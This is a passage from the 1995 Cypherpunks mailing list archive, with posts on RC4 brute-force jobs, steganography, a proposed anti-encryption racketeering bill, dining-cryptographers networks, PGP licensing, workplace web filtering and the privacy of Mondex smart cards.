TRY: echo squeamish ossifrage | rsa -e 3 7537d365 | rsa -d 4e243e33 7537d365

 "the slammer and the firing squad are just stones on the road to freedom."
	--attila

 "In nature, stupidity gets you killed.
   In the workplace, it gets you promoted.
    In politics, it gets you re-elected."
        --attila

 "Go not unto Usenet for advice, for the inhabitants will say 
   yes, and no, and maybe, and I don't know, and fuck off, and...."
	--attila

                | The pen may often be mightier than the sword,
 *<%%%%%%%%%%%%|+>-================================-------------------
                | but, the sword sure as hell is faster....

"If I wanted your opinion, I would have asked for it -in triplicate" 
	--attila
____________________________________________________________________________







From mark at unicorn.com  Mon Jul 17 22:06:12 1995
From: mark at unicorn.com (Rev. Mark Grant)
Date: Mon, 17 Jul 95 22:06:12 PDT
Subject: RC4 crack
Message-ID: <Pine.3.89.9507172242.A3308-0100000@unicorn.com>



On Mon, 17 Jul 1995 aba at dcs.exeter.ac.uk wrote:

> The problem with nicing is that most unix schedulers don't seem to
> know what nice means,.. you still get a noticable slow down on
> interactive jobs on SGI boxes even if you've got it npri -h 150, and
> even though the bruterc4 (and the bruteSSL too) have tiny resident
> core sizes).

Nice -19 works great on SunOS, it sits there happily eating up just about
all the unused CPU time and doesn't interfere at all with interactive
use. I guess it's the SYSV (ack) machines that have problems, 'cause the 
scheduler's too sophisticated.

		Mark







From anon-remailer at utopia.hacktic.nl  Mon Jul 17 22:45:09 1995
From: anon-remailer at utopia.hacktic.nl (Anonymous)
Date: Mon, 17 Jul 95 22:45:09 PDT
Subject: Zimmerman legal fund
Message-ID: <199507180545.HAA13402@utopia.hacktic.nl>



I just received a bit of mail asking about the Zimmermann Legal
Defense Fund, which, like many folks out there, I support.  The writer
implied that he might give money because I suggest it in my sig, but
expressed questions about its legitamacy, and questioned if it's "just
someone trying to exploit the Zimmerman case"

Could someone in the know talk about the relationship between FV and
the ZLDF? I don't like to spread misinformation, so I won't answer
based on conjectures.




From lmccarth at cs.umass.edu  Mon Jul 17 22:47:11 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Mon, 17 Jul 95 22:47:11 PDT
Subject: Stego Standards Silly ? (
In-Reply-To: <8AD5238.000300015F.uuout@famend.com>
Message-ID: <9507171402.AA22064@cs.umass.edu>


Monster at FAmend.Com writes:
>   Not obvious at all. You encrypt and sign as usual, stego the resultant
> output, and perhaps include in the stego routines some kind of CRC or
> hash if you like. But the point is that the signature still works to
> indicate whether the message was tampered with or not.
> 
>   If we posit a MITM, he can tamper with cyphertext =or= stegotext, but
> he can't defeat the signature. I would recieve a GIF which my stego
> software would turn into a file that PGP would puke on, telling me that
> Someone Is Messing With My Mail.

Sure -- for most message passing applications, tampering in transit would
also lead to noticeably corrupted cleartext, when the stegoed ciphertext
is decrypted. Again, PGP pukes, or perhaps Stealth PGP gives me something
obliterated when it decrypts. See my comments below, however.

>   I would not, of course, be able to reveal this fact directly. However,
> I could ask my correspondent to re-send the GIF, and when it comes out
> different in EVERY SINGLE LSB, I have proof of tampering.

Well, you could do that regardless of what is or isn't stegoed into the
carrier image. I'm arguing that perhaps the govt. (or whomever) will be
far less sympathetic to such in-stego-channel evidence of doctoring. 

I still see an obstacle to this approach, though. If we want to try to
foil traffic analysis, then we need people routinely to dispatch ghost
messages. Some of these should go to people with whom the sender is not trying
to communicate. When Karen gets a GIF in the mail, she needs to decide whether
its LSBs are significant (semantically speaking :) or not. If they decrypt
into something meaningful, QED; if not, what to do ?  "Sufficiently
advanced communication is indistinguishable from noise" is a double-edged
sword, after all. Establishing that communication is really being attempted
is trickier under these conditions.

I think I need to clarify my threat model. I'm positing a scenario in which
transmission of ciphertext and stegoed anything is illegal, but transmission
and use of "conspicuous" digital signatures is legal. Furthermore, the govt.
sanitizes the LSBs of digital images for our protection, perhaps distorting
a mean of X% of the LSBs of a mean of Y% of transmitted images. Out-of-stego-
channel checksummation would IMHO be crucial in such a situation.  

-Futplex <futplex at pseudonym.com>   "A kiss and a hug and a couple of f*cks: 
                                    being in love really sucks" -Meryn Cadell




From greg at ideath.goldenbear.com  Mon Jul 17 23:27:24 1995
From: greg at ideath.goldenbear.com (Greg Broiles)
Date: Mon, 17 Jul 95 23:27:24 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <199507180522.AA01543@ideath.goldenbear.com>



-----BEGIN PGP SIGNED MESSAGE-----

To: danisch at ida.uka.de
Hadmut Danisch writes:

>I am not familiar with american laws and have two questions:

>1. If the bill becomes law, how can someone who violates it be
>punished? 

A criminal RICO violation can be punished by up to 20 years' imprisonment,
as well as forfeiture of any personal or real property constituting
or derived from proceeds of racketeering activity. A convicted RICO
defendant can be fined up to twice the gross profits of the 
racketeering activity. If the defendant disposes of property otherwise
subject to forfeiture, other property owned by the defendant (of equivalent
value) may be seized and forfeited. 18 USC 1963.

RICO also allows private parties injured by a RICO violation to bring a
civil suit and recover three times their actual damages, plus attorneys'
fees and costs. A criminal conviction will operate to estop a RICO 
defendant from denying the facts underlying the criminal conviction in a
subsequent civil suit. 18 USC 1964.

>2. Does someone who publishes software which encodes or encrypts 
>(ASCII is a code, isn't it?) have to prove that he has provided the
>universal decoder to the state or does the state have to prove that he
>didn't do? 

The defendant has to prove that s/he provided the decoder, because 
providing the decoder is an affirmative defense. That puts the burden
of proof on the defendant on that issue. Were the statute worded that
not providing the decoder were an element of the crime, then the
government would need to prove that the defendant hadn't provided it. 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAtEm33YhjZY3fMNAQF/DQP/QOT1ZvMG/sCU2QnPpZVhHkAZrZf0R1AU
63QmxQTOZJvqhyvS70zrNmhW6mpXshQRpehQtMuUPDh7vtLS/FMatKaJc3yA+RXC
3vzLz3XNooOfM0fV6yIeVpZC5Nw5iMmyb/IwoVHLvAu7zYoGUi/sLoCW2s9xFa3M
BmJkUL+/RaY=
=fAVx
-----END PGP SIGNATURE-----





From greg at ideath.goldenbear.com  Mon Jul 17 23:27:27 1995
From: greg at ideath.goldenbear.com (Greg Broiles)
Date: Mon, 17 Jul 95 23:27:27 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <199507180523.AA01552@ideath.goldenbear.com>


-----BEGIN PGP SIGNED MESSAGE-----

To: Andrew.Spring at ping.be
Andrew Spring writes:

>So I'm wondering who this RICO stuff applies to.  The guy who wrote it and
>uploaded it to an FTP site?  He's not profiting.  The guy who uses it? He
>didn't commit the predicate act.  Who?

RICO does not require that either the enterprise or the predicate acts
were motivated by (hope of) economic gain. _National Organization for Women
v. Scheidler_, 114 S.Ct. 798, 127 L.Ed.2d 99 (1994) or
ftp://ftp.cwru.edu/hermes/ascii/92-780.ZO.filt

Looks like Bob Dornan wants to change that, though (probably because RICO
was used to sue anti-abortion terrorists). He introduced HR 230 which
would amend 18 USC 1961(5) to require "profit-seeking purpose" to establish
a RICO "enterprise". THOMAS says that HR 230 is in the House Judiciary
Committee. 

RICO is at http://www.law.cornell.edu:80/uscode/18/ch96.html et seq :) 
for the curious.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAtASn3YhjZY3fMNAQFZ+AP/VLcDCikMkzT8iA/AmdpKvWpSc/nOybma
/6KCnVgOms7+g+MNnJZHQFzjxV2oMjtXSZD1/0ZQeeuZcJGZDqR1tbwj93JNfRjW
LsNHB9d5xXk9xxbvJwY+TJgCGeZtp7Yb38yVt2MRGioyl5TDPFNOYTbSPr2t0TCr
0k4aeV81Mq0=
=m5jT
-----END PGP SIGNATURE-----





From stewarts at ix.netcom.com  Mon Jul 17 23:51:20 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 23:51:20 PDT
Subject: Here it is; bi-directional dining cryptographers
Message-ID: <199507180649.XAA25418@ix3.ix.netcom.com>


Context: Bidirectional DCnets, Alice and Bob simultaneously transmitting
to each other.  Interesting approach, though you do have to schedule it
somehow.  It's a different take on the uses of DCnets - the original
was for an anonymous-1 to many rather than a 1 to 1 with only the two
participants
knowing, though in the first case the recipient can be known only to the sender
if they want to arrange things that way through shared secrets or whatever.

At 01:31 PM 7/17/95 +0100, Rev. Mark Grant wrote:
>Yes, but presumably it's expected that they would be using secure
>encryption on the messages that they're sending. That might still provide
>some information about the message for traffic analysis, e.g. if you send
>a PGP message you have your key-id at the beginning, and if you knew the 
>keys of all members of the DC-net you could XOR them and see who's 
>talking to who.

Presumably people will use multiple key-ids on the net as well - Alice may
have a general-use "Alice" key, and maybe also a general-use "Medusa" key,
but Alice or Medusa may have also arranged with Bob to use a different key
for traffic where he doesn't mind if she knows he sent it and he doesn't want
anyone else knowing it's being sent to her.  Also, he can do this anonymously,
so she doesn't know either:

        Alice posts Plaintext("Hi, I'm Alice, key AAAA")
        Bob   posts Encrypt(AAAA, "Hi, Alice, I'm Dr. X, Key XXXX, please
                        post a key I can use to talk to you")
        Alice posts Encrypt(XXXX, Signed(AAAA, "Hi, Dr. X, use key AXAX"))

Bob's message lets him send stuff to Alice without anyone, including her,
knowing it's from him, since the name X and key XXXX are new randoms.
Alice signs her response so Dr. X knows that key AXAX will really go to
Alice and
not to Mallet who's impersonating Alice; she doesn't really care who X is.
If traffic analysis is a concern (Alice noticing, for instance, that she's
getting a _lot_ of requests from key AXAX for her remailer to send stuff
to destination ZZZZ), Bob can keep sending her new requests for keys and ids,
and not reuse them more than he thinks is safe.

>I'd have thought the most significant problem would be reserving the
>blocks in an anonymous fashion while not allowing denial-of-service
>attacks. 

Since anybody can send bits at any time, and nobody can tell who without
lots of collusion, you can't prevent denial-of-service (well, I assume not,
unless there's something rather non-obvious in the literature.)
The Bad Guy can decide if it's more fun to jam the reservations or the messages.
What reservation does for you is gives a short inefficient period (with
possible collisions, backoff-and-retry, etc., depending on algorithm) that
you can use to 
reserve a longer one-user period for message traffic, so you can spend most
of your time talking instead of haggling over interruptions.

One way to do reservations is to use some variant on Slotted Aloha for the
reservation period - for example, everybody picks a random id number for the
session,
(with odd parity or odd high-bit to make collision detection easier),
waits a random number of slots, and then sends their id number.
If there's a collision, wait and retry, maybe with exponential backoff.
After the first slot that's got data and looks like it doesn't have a collision,
anybody who thinks that it was their number picks a different number,
waits a short random number of slots and posts; first one wins.
(If you're using 32-bit randoms and have fewer than a million players, 
the chances of two undetected collisions in a row are really small,
even if people cheat a bit on their backoffs.)  Winner announces how many
slots he's going to use up for his message, so you know when to start again.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 23:51:25 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 23:51:25 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <199507180649.XAA25423@ix3.ix.netcom.com>


At 06:06 PM 7/17/95 +0200, Hadmut Danisch wrote:
>1. If the bill becomes law, how can someone who violates it be
>punished? 
Only by violating the Constitution and basic common sense,
but that doesn't usually bother the Government very much...

>2. Does someone who publishes software which encodes or encrypts 
>(ASCII is a code, isn't it?) have to prove that he has provided the
>universal decoder to the state or does the state have to prove that he
>didn't do? 

It's not defined in the law, and if the good Senator writes stupid offensive
laws which are so stupid that they have big holes in them like this,
I don't intend to correct him :-)

>In the former case, does he get any receipt from the department of
>justice and what does the receipt say (1.3MByte of software
>received...)?

Nobody knows.

>In the latter case, how do they want to prove he didn't? If he gave
>just a big 
>  for(i=0;;i++) try_key(i);
>how do they want to prove this doesn't work?  [... halting problem...]

The proposed law doesn't say that the mechanism has to decrypt the
message in a short period of time.  If the law passes, I'll be happy to help 
write the PGP Universal Decoder program for anybody who needs it to take to
court.
Some kinds of program are affected by the Halting Problem; other kinds
are easy to show that they halt.  For the PGP Universal Decoder,
trial division can find the factors for an N-bit key in much less than
2**N tries, if you program it well, and you know it will halt by then,
if the Universe hasn't decayed first.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 23:51:46 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 23:51:46 PDT
Subject: Root Causes Roots
Message-ID: <199507180649.XAA25403@ix3.ix.netcom.com>


At 02:08 PM 7/17/95 -0400, Jim Ray wrote:
[ Crypto timeline and discussion omitted ]
>Careful thought reveals a atrong suspicion that the "3/5ths people" 
>[slaves] had more use for crypto at the time than free white males 
>did, but I doubt much, if any, evidence of that activity was 
>preserved, and I'm sure it was _forcefully_ discouraged if ever
>discovered...My point is, slaves, or those who live in fear of 
>eventual slavery, for whatever reason, have a strong affinity for 
>cryptography. Note, for example, early use [mentioned in the timeline
>above] by the Jewish people.

Or, more precisely, they have a strong affinity for private in-group
communications.
Cryptography's a bit tough in an environment where it was often illegal to
teach slaves to read.  On the other hand, oral cultures are often good at
using metaphor and in-jokes and shared knowledge to express things that
the speaker doesn't want the oppressive group to understand.  I've seen
commentaries
talking about that in North American black culture, and there are other examples
like Cockney rhyming slang.  And then, of course, there are totally
incomprehensible
communication systems like Gaelic :-), which the Brits tried hard to stamp out.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 23:51:54 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 23:51:54 PDT
Subject: Is it legal for commercial companies to use PGP?
Message-ID: <199507180649.XAA25411@ix3.ix.netcom.com>


At 09:07 PM 7/17/95 -0400, tim werner wrote:
>>... I was talking to one of the sys admins at
>>A-B, and he said that we weren't allowed to use PGP to encrypt our mail,
>>because Viacrypt owned the commercial rights.

Actually, it's less clear than that.  It's pretty clear what you can
do with ViaCrypt code; just read the license to see who can use it,
and you can send any kind of messages you want over it, even for money.

On the other hand, the definitions of "non-commercial use" for RSAREF and
IDEA are far less clear (and they're clearer for RSAREF than for IDEA,
and I got the impression from what I read somewhere on the net or in the PGP
docs
that the initial permission from Ascom-Tech for use of IDEA with PGP was
pretty informal, and that they've been trying to tighten up what's covered.)
(Also RSAREF licenses have changed from version to version, and the
license PKP uses to distribute versions of RSAREF may also have changed?)

Selling software containing the code is pretty clearly commercial.
Non-commercial messages from your personal non-business machine are
clearly non-commercial.  Providing a service of encrypting and decrypting
messages for people for money sounds like it's _very_ probably commercial.
Encrypting and decrypting messages to/from your business that deal with money
are a very gray area.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Mon Jul 17 23:52:17 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 17 Jul 95 23:52:17 PDT
Subject: bi-directional dining cryptographers
Message-ID: <199507180649.XAA25432@ix3.ix.netcom.com>


At 12:24 PM 7/17/95 -0500, Phil Fraering wrote:
>I'd also like to point out that this system indicates that during
>an attack/disruption on a traditional dc-net, the disruptor can 
>tell what the original person was trying to send, even though noone
>else can.
>
>And then perhaps XOR the data with something offensive, and if the
>original sender tries to re-send, broadcast the result of the XOR,
>resulting in a total net output of the offensive material.

That's difficult - you have to identify that the sender is sending
the same message while the message is being sent, rather than
one or two bit-times later, and you can't fake encryption with an
unknown keyid or digital signatures.  (Digital signatures aren't
something everybody would use very often on a DC-net, since the purpose
of the net is to be anonymous, but since you can do anonymous broadcasts,
you can anonymously post a signature key for your nym if you want to.)

Also, there's no need to combine jamming and posting an offensive message;
they both work well separately.  I suppose you could do that if you only
want to harass the net a bit (e.g. replace all trafic to remailer X
with new remail to whitehouse.gov, or replace all postings from
Cancelmoose with complaints about censorship), but basically DCnets
degrade rapidly if the social structure of the net members does.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From greg at ideath.goldenbear.com  Tue Jul 18 00:17:26 1995
From: greg at ideath.goldenbear.com (Greg Broiles)
Date: Tue, 18 Jul 95 00:17:26 PDT
Subject: SurfWatch for employees (ugh)
Message-ID: <199507180636.AA02056@ideath.goldenbear.com>


-----BEGIN PGP SIGNED MESSAGE-----


Consistent with the trend towards treating employees like children,
Webster Network Strategies has announced (but apparently has not
shipped) a product similar to SurfWatch but aimed at an employment
environment. The product is called "WebTrack" and supposedly supports
access lists of URLs, where access can be allowed to "all but these sites"
or "only to these sites". The product also can be configured to log all 
Web usage by users subjected to its reign of terror. :) WebTrack 
is priced at $7,500 with an annual subscription to its list of 
interesting (err, forbidden) sites priced at $1,500. The article in the
7/10/95 Infoworld doesn't list contact information for Webster
Network Strategies. 

What is it, two months between deployment of software designed to restrict
net access to one segment of the population perceived as especially
vulnerable and the subsequent application of that technology to other 
target groups? My bet is the next target group will be university 
students, followed by "affinity marketing" with various repressive
organizations (whose names I elide in the interests of greater
Cypherpunk harmony, pick your own and imagine them here.) 

Of course, the next step is to use restrictive licensing/distribution
terms (a la Netscape/Mozilla) and a nifty freeware/software package
available only from a site which also carries porn (or other forbidden
fruit) to make the customers/purveyors of this crap twist in the wind
a bit. Break the terms of the license and get the software somewhere
else? Avoid using the coolest new thing because you're hooked up via
we'll-think-for-you.net? Doh.

(Pedants need not point out that personal choice (and personal filtering)
are always appropriate, and indeed empowering. Neither WebTrack nor
NetSurf are marketed to help people subject themselves to a regime
of repression - they are intended and sold to allow the purchaser to
control what others (perceived as having fewer or no rights) will read
and view. ". . inasmuch as you have done it unto one of the least of
these my brethren, ye have done it unto me." Matthew 25:45)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAtWUn3YhjZY3fMNAQH8EAP/aFXe7uI1EuIB31L8h7H+5l3Mg1aQE7e9
i86FnqwGMDg5JlDvJD05dXOBXeInvKtc6ZD0Us+qwDmg2ISo/Yu0QCfedTBgZ7fq
s/3WFwtOcpiBG7YTkxGJrvB+r4KIgodb9QSGEQ8yofKaRLT33IkgO3ijxrnyoNkX
vm/tZ8EnoV0=
=hrOo
-----END PGP SIGNATURE-----




From an250888 at anon.penet.fi  Tue Jul 18 02:14:42 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Tue, 18 Jul 95 02:14:42 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
Message-ID: <9507180840.AA14290@anon.penet.fi>


>> >and, conspiracy theories non-withstanding, we the people do not govern 
>> >America --we are only given a short list of politicians who have sold 
>> >their soul to CFR's satanist inner circle.
>> 
>> What's CFR?
>> 
>
>Council on Foreign Relations.

or Code of Federal Regulations.

----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From habs at warwick.com  Tue Jul 18 06:12:25 1995
From: habs at warwick.com (Harry S. Hawk)
Date: Tue, 18 Jul 95 06:12:25 PDT
Subject: SurfWatch for employees (ugh)
In-Reply-To: <199507180636.AA02056@ideath.goldenbear.com>
Message-ID: <199507181311.JAA06412@cmyk.warwick.com>


I don't think there is ever anything wrong with employeer's
restricting what employee's do on any legal or ethical level.
Evolution (a la Bionomics) will sort out the winners and losers.

/hawk


> or "only to these sites". The product also can be configured to log all 
> Web usage by users subjected to its reign of terror. :) WebTrack 


> are always appropriate, and indeed empowering. Neither WebTrack nor







From lmccarth at cs.umass.edu  Tue Jul 18 06:46:32 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Tue, 18 Jul 95 06:46:32 PDT
Subject: WebTrack URL/Contact Info
Message-ID: <9507181346.AA21915@cs.umass.edu>


The WWW site for Webster Network Strategies and its WebTrack software is
http://www.webster.com/

According to that page:

   How to reach us: 

   E-mail info at webster.com 
   Call (941) 261-5503 
   Fax (941) 261-6549 
   Write to WNS, 1100 5th Avenue South, Suite 308, Naples, FL
   33940 




From jgrubs at voxbox.norden1.com  Tue Jul 18 06:54:01 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Tue, 18 Jul 95 06:54:01 PDT
Subject: SurfWatch for employees (ugh)
Message-ID: <sgTF9c7w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

Greg Broiles <greg at ideath.goldenbear.com> writes:

> Consistent with the trend towards treating employees like children,
> Webster Network Strategies has announced (but apparently has not
> shipped) a product similar to SurfWatch but aimed at an employment
> environment. The product is called "WebTrack" and supposedly supports

Forcing workers to keep their minds on their work? Shameful...


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAu7mN74r4kaz3mVAQEWhgP9FDkAtsbPMVk5/FTCGaImFu7Iqllw0Y55
Rv2gXxVdiYKmK449i1+PQhJvpnLJE5qVRqMeCjhcysrbI/WK9RUDP+6FVenfDjWZ
Kxh385qzNWE1sJTv92ii3g4dbIp7yziePJc9ZH6HqZ9i1MAyQfjEPutNcE5xgLSH
hBUYN0Q1cPE=
=l0BB
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From jgrubs at voxbox.norden1.com  Tue Jul 18 06:54:02 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Tue, 18 Jul 95 06:54:02 PDT
Subject: Is it legal for commercial companies to use PGP?
Message-ID: <5ZsF9c6w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT) writes:

> As I recall, the following is a correct scenario: a customer can use PGP to
> send credit card numbers to a vendor he's making a personal purchase from,
> but the vendor must use Viacrypt. If the customer is buying something to use
> for business, BOTH  must use Viacrypt.

In practice, I'd probably buy Viacrypt for legal reasons but use PGP anyway.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAu5iN74r4kaz3mVAQF11QQAiNccy69sb5OA1jmOpErqqZNJ4sNx3smW
tAJQ3lD1op4qlPIO48vxwkvr+IaQyyOkf797+9Ca1z9WtxgwSamo32BQnPQZ6Pbm
Vipmpwrabrxq67TOrGgxNp3UN7oBZl3eyad0hIj6ENzs8u1wi3wkHUV/3z341XB7
u953orkOZSk=
=UYrt
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From mark at unicorn.com  Tue Jul 18 07:06:32 1995
From: mark at unicorn.com (Rev. Mark Grant)
Date: Tue, 18 Jul 95 07:06:32 PDT
Subject: Mondex (forward)
Message-ID: <Pine.3.89.9507181524.A3308-0100000@unicorn.com>



Thought this might be of interest... forwarded with permission..

>From Andy Meredith (meredith at bcs.org.uk) on the ecm list :

On Jul 18,  9:21am, Marcel van der Peijl wrote:
> Subject: Re: e$, c$$$, Cyberbucks & ECash - terminology.
> > > electronic cash (also digital cash) is a general term for
> > > the concept of encrypted messages that have inherent  value
> > > - as opposed to credit notes or electronic checks. I guess
> > > that the Mondex smart cards have ecash in them, but that
> > > seems different.
>
> I am such a bad reader! You are right. This is a good definition
> of  electronic cash or digital cash. Mondex is questionable. The
> card has an account, and uses crypto to proof it is a real Mondex
> card, so you'd better believe it when it says it took the money
> of it's internal balance. I would vote this is not digital cash.

I am participating in the Mondex pilot scheme in Swindon. It took me
a great deal of pushing to get _any_ details at all. The details I
did get didn't go into the encryption schemes used or any such fun
stuff. It did in fact take quite a while for me to realise the
significant differences between ecash and Mondex. As they didn't, in
the end, make me sign an NDA, I guess I can share.

1 - The Value is not encrypted on the card, that is held as plain
    text, it is the front door on the card that is heavily guarded.

    If therefore you can inject value into the card from the back
    door, it is then taken as real money. The logic being; Hey it
    managed to get through all that security which is imposible for
    anything except another mondex card to do, it must therefore be
    Mondex money ... that's Ok then.

    There can never be a software only version of Mondex
    as it stands. The trust is in the front door, not the cash
    values themselves.

2 - Some of their transaction monitoring is very "Big Brother"esque.
    As you can imagine, if a card is seen to be creating money but
    not consuming it, there IS a problem. Therefore whenever you get
    some money from a "hole in the wall", the bank sucks over your
    transaction log & error log. It will of course only ever use
    this for security monitoring. It will never follow the likes of
    AMEX and start stock pilling these transactions, using it's
    knowledge of the which physical entity own what card ID, and
    using the cross reference for market research/direct
mail/consumer
    profiling. No of course not. That would be TOTALLY unethical ...

3 - Mondex is billed as "Electronic Cash", but you won't find the
    concept of anonymity in there anywhere. They talk about it, but
    I haven't seen them write it down explicitly. One could suggest
    however that that "Cash == Anonymous", so the scheme would have
    to be anonymous for them to have a right to the "Electronic
    Cash" title.

> So what is the name for schemes like this?

How about "Stored Value Card"

>-- End of excerpt from Marcel van der Peijl

One interesting thing that I noted. When I read through the technical
blerb on ecash a while back, I had to sit back and think very
clearly, and read very slowly. However, it was relatively easy to
understand the bits, and then even easier to put the bits together
into a system.

The reason, I suggest, is that if you understood all the encryption
technology behind ecash, and had the requirements that it has for
anonymity and security (hand in hand). You would reinvent ecash.
Maybe the layering would be subtly different, the real one ond your
independant derivative wouldn't interact, but ...

If however you were to have asked me to explain ecash a week later, I
would have been totally stumped. It is a very elegant system.

Mondex, on the other hand, worried from the word go. It just didn't
seem to add up. Apart from everything else, why were they being so
damned secretive. I read and thought, and read and thought. Then it
finally dawned on me. Mondex just simply doesn't have the same
requirements list as ecash. I was prejudging the requirements from my
previous exposure to ecash.

Ask me to explain Mondex to you now ... what do you want to know :)

Andy M

     (this is my opinion of information gained outside of
       company time. It is not the opinion my employer.)


And :


On Jul 18, 12:29pm, Marcel van der Peijl wrote:
> Subject: Re: Mondex
> > I am participating in the Mondex pilot scheme in Swindon. It
> > took me a great deal of pushing to get _any_ details at all.
>
> Of course! Security through obscurity has always been a good way of
> protecting your systems... ;)

Absolutely. That's why VISA have lost so little money :)

> > 3 - Mondex is billed as "Electronic Cash", but you won't find the
> >     concept of anonymity in there anywhere. They talk about it,
> >     but I haven't seen them write it down explicitly.
>
> Hahahaha. Let me explain. You can buy the card anonymously. This
> gives anonimity....
> NOT!

Actually, you can't. You need to supply bank details in order to get
one. At least you do for the Swindon trial. The cards in use here are
in fact combined ATM and Stored Value ;) cards. They have all your
bank details in a mag. stripe on the back of the card. The current
batch of EPOS terminals don't use this stripe, but I wait with
interest.

> They are forgetting that tracebility plus one link of a person to
an
> 'anonymous' account is the same as identification.

Sainsbury's (et al) sussed that one a while back. Hence the
introduction of "Customer Loyalty Cards" (yuch!!). Thereby allowing
them to bind purchases/times/locations => Credit card numbers =>
Physical customer addresses & therefore demographic data. Only in
this situation for Credit card number read Mondex card ID.

> Do you realise any ATM, and a lot of stores, have security camera's
> embedded? No, they wouldn't use that to link a person to a card,
> would they? That would be unethical...

No need. They have not only formed the link, but they are getting you
to fill in the damned form :)

> > How about "Stored Value Card"
> For Mondex, perfect. What about FV? And NetChex?

Don't know about these ones.

> About your perception of ecash: I admit that the blurp on our
server
> does not fully cover the system in such a way it is easy to
remember
> and explain.

Not at all. If you had asked me to explain the system while it was
still fresh in my mind, I would have had no trouble. It is very neat
and logical, but it i